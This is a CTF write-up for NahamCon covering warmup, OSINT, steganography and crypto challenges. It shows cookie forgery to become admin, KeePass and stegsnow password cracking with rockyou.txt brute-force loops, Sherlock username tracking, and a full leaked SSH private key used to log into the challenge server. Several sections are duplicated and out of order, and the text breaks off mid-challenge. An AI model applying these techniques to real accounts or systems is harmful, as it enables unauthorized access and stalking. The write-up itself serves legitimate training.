**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcnNhAAAAAwEAAQAAAYEAxHTNmVG6NLapytFkSDvLytH6aiE5GJRgkCV3mdxr3vLv+jSVs/73WtCDuHLn56nTrQK4q5EL0hxPLN68ftJmIoUdSvv2xbd8Jq/mw69lnTmqbJSK0gc6MTghMm3m3FvOoc/Unap6y5CkeqtY844yHsgeXqjVgOaUDsUqMjFAP+SIoQ+3o3aZEweUT4WarHG9a487W1vxIXz7SZW6TsRPsROWGh3KTWE01zYkHMeO0vHcVBKXVOX+j6+VkydkXnwgc1k6BXUTh9MOHxAxMK1nV6uC6JQijmUdW9q9YpMF/1VJRVwmzfdZTMTdrGFa7jJl+TxTAiViiBSno+IAWdB0Bo5QEoWy+/zzBlpBE9IdBldpH7gj7aKV6ORsD2pJHhbenszS+jp8g8bg8xCwKmJm8xNRN5wbdCJXAga5M5ujdXJgihnWtVlodRaZS2ukE+6NWcPx6JdKUpFodLtwO8bBaPFvmjW9J7hW44TEjcfU2fNNZweL3h+/02TxqxHqRcP/AAAFgNfG1XLXxtVyAAAAB3NzaC1yc2EAAAGBAMR0zZlRujS2qcrRZEg7y8rR+mohORiUYJAld5nca97y7/o0lbP+91rQg7hy5+ep060CuKuRC9IcTyzevH7SZiKFHUr79sW3fCav5sOvZZ05qmyUitIHOjE4ITJt5txbzqHP1J2qesuQpHqrWPOOMh7IHl6o1YDmlA7FKjIxQD/kiKEPt6N2mRMHlE+FmqxxvWuPO1tb8SF8+0mVuk7ET7ETlhodyk1hNNc2JBzHjtLx3FQSl1Tl/o+vlZMnZF58IHNZOgV1E4fTDh8QMTCtZ1erguiUIo5lHVvavWKTBf9VSUVcJs33WUzE3axhWu4yZfk8UwIlYogUp6PiAFnQdAaOUBKFsvv88wZaQRPSHQZXaR+4I+2ilejkbA9qSR4W3p7M0vo6fIPG4PMQsCpiZvMTUTecG3QiVwIGuTObo3VyYIoZ1rVZaHUWmUtrpBPujVnD8eiXSlKRaHS7cDvGwWjxb5o1vSe4VuOExI3H1NnzTWcHi94fv9Nk8asR6kXD/wAAAAMBAAEAAAGANjG+keAAzQ/i0QdocaDFPEMmoGZf2M79wGYFk1VCELPVzaD59ziLxeqlm5lfLgIkWaLZjMKrjx+uG8OqHhYuhLFR/mB5l9thDU8TCsJ09qV0xRVJIl1KCU/hoIa+2+UboHmzvnbL/yH8rbZdCHseim1MK3LJyxBQoa50UHpTrgx+QGgUkaxi1+QMXs+Ndqq9xVEy36YCY+mVbJw4VAhFr6SmkLfNGgGJ0SCnX6URWlHMJQkn5Ay6Z6rZSUnhn0sAMNhgBzFGhY3VhpeP5jPYBIbtJUgZ51vDlCQoCBYqXQXOCuLQMBEfy1uKW+aH0e0Gh07NZyy5AyxHWEtq/zWUJpDrXsmdqbyOW/WX/lAusGkSNj1TPGRcqUl14CPJugXgMWWuUuQoRChtKFObCCl7CpjdUdvbKyWDy+Uie/xGZ+dOrU/u4WrwZkkqGKvA6gSAd6v/RxAdVhaL0xjnPXCgM8e4p9B7EuW3Jy9d15eaGtNp9fpY+SpH4KbHoRom9tXxAAAAwC2p2qsvXEbiriXaX0WdGa6OYcbr9z5DnG6Kkpwf3K0fb4sm3qvcCrt7owHwiSB1Uy1hnghLUmUlEgMvVzO0gi/YFCatryIeT9oyQP4wUOLLSSUc4KYg9KuX5crS1Qfo2crAPhkm1n+lLdiqjAYUB8kL+vU9EuHt0mUA6yrWaVAl4zNP3DOlpB54/v/0yKBEPyHBalU/jv2++NlTRaFsmU7PV8GD0YuvuHJAVfpnBb8/u4ugpBXciQOS/s734h087QAAAMEA6k6WMSNAmM6SAI2X5HqwHa19V2AvUUIS0pKbx8Gx3htKq4kHi4Q+tYYAdPFInFO5yauD3/Iv95PakOpiBwTXb1KK7pzgayc/1ZUN/gHbOgY8WghRY4mnxUg1jQWprlv+Zpk/Il6BdW5db/PmcdQ47yf9IxBAzcBSCECB1KKFXGUuM3hLowyY77IxQZkZo3VHkkoKhbewQVA6iZacfBlXmEPo9yBNznPG2GKsjrIILz2ax44dJNeB2AJOvI8i+3vXAAAAwQDWpRmP9vLaVrm1oA8ZQPjITUQjO3duRux2K16lOPlYzW2mCGCKCd4/dmdpowYCG7ly9oLIZR+QKL8TaNo5zw/H6jHdj/nP//AoEAIFmQS+4fBN5i0cfWxscqo7LDJg0zbGtdNp8SXUQ/aGFuRuG85SBw4XRtZm4SKe/rlJuOVl/L+iDZiW4iU285oReJLTSn62415qOytcbp7LJVxGe7PPWQ4OcYiefDmnftsjEuMFAE9pcwTI9CxTSB/z4XAJNBkAAAAKam9obkB4cHMxNQE=-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:

**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:

**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:

**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:

these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:

After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):

**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:

**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:

but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:

during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:

**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:

this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:

bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:

***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :

furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:

but if we look at a regular PNG file or Zip file we get the following bytes frequency:

we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
